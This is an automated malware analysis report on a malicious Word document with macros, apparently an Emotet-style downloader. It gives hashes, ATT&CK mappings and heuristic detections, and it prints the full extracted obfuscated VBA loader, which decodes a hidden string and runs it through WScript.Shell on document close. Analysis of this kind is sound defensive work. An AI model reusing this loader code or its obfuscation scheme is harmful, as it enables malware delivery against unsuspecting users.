Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 98861a1dd370bcfe…

MALICIOUS

Office (OOXML)

54.2 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-04-18
MD5: b90d43982901803c61b3ab1132e37676 SHA-1: 8bc267785b484d54047ec8352995b3b0dd8ea85d SHA-256: 98861a1dd370bcfee107017e75cf1d527fbe8845181042de3493d0d0e7a624ca
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing obfuscated VBA macros, specifically an AutoClose macro that calls a function to decode a string. This decoded string is then passed to Application.Run("kebob", cowry), which likely executes a second-stage payload. The presence of CreateObject and Shell() calls, along with obfuscation, strongly indicates a downloader or dropper functionality. The ClamAV detection also confirms its malicious nature.

Heuristics 8

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         If rewish - benthonic > 1 Then
       CreateObject(Join(Array(nonsidereal, "Shell"), ".")).Run monetized, 0
       picayune = False
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "kebob", cowry
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If rewish - benthonic > 1 Then
       CreateObject(Join(Array(nonsidereal, "Shell"), ".")).Run monetized, 0
       picayune = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  consuete = Array("a", "K", "r", "5", "h", "B", "s", "b", "s", "G", "r", "5", "5", "I", "V", "x", "x", "h", "n", "N", "d", "5", "D", "n", "D", "Y", "W", "d", "s", "s", "5", "D", "N", "s", "K", "r", "k", "5", "Q", "d", "B", "X", "D", "a", "x", "4", "y", "y", "x", "W", "n", "s", "s", "R", "B", "I", "r", "I", "U", "k", "5", "a", "h", "A", "t", "d", "N", "s", "v", "D", "N", "v")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2117 bytes
SHA-256: e9016dae47b46cf78b019984c519da6cf4b83fc6075974dee1d3c18d35ce5194
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function transfixion(consuete)
  pyrrhicist = Array("y", "G", "h", "v", "n", "W", "Q", "Y", "r", "U", "d", "R", "t", "K", "V", "s", "4", "b", "a", "N", "k", "B", "X", "5", "I", "x", "A", "D")
  retrofract = Array("B", " ", "a", "f", "r", "g", "k", "l", "h", "?", "i", "d", "w", "s", ":", "e", "F", "x", "m", "n", "u", ".", "c", "t", "p", "/", "=", "o")
  
  invented = vbNullString
  
  For Each czarinian In consuete
    lulling = headrail(czarinian, pyrrhicist, UBound(pyrrhicist))
    If lulling > -1 Then
    invented = retrofract(lulling) & invented
    End If
  Next
  
  transfixion = StrReverse(invented)
  
End Function

Public Function headrail(phlogistons, oculist, microsporum)
  parrotia = 5553
  compulsory = 772
  For parrotia = 0 To microsporum
    If oculist(parrotia) = phlogistons And parrotia > -1 Then
     compulsory = parrotia
    End If
  Next

  If compulsory = 772 Then
    compulsory = -1
  End If
  
  headrail = compulsory
End Function

Sub AutoClose()
  consuete = Array("a", "K", "r", "5", "h", "B", "s", "b", "s", "G", "r", "5", "5", "I", "V", "x", "x", "h", "n", "N", "d", "5", "D", "n", "D", "Y", "W", "d", "s", "s", "5", "D", "N", "s", "K", "r", "k", "5", "Q", "d", "B", "X", "D", "a", "x", "4", "y", "y", "x", "W", "n", "s", "s", "R", "B", "I", "r", "I", "U", "k", "5", "a", "h", "A", "t", "d", "N", "s", "v", "D", "N", "v")
  cowry = transfixion(consuete)
  
  Application.Run "kebob", cowry
  
End Sub


Private Sub kebob(monetized)
   
   nonsidereal = "WScript"
   benthonic = 3271
   picayune = True
   
   While picayune
     rewish = benthonic + 60
     If rewish - benthonic > 1 Then
       CreateObject(Join(Array(nonsidereal, "Shell"), ".")).Run monetized, 0
       picayune = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 308595144c998a010a11260d1598e9f349deec0df25e41c39ae4215bced9254c
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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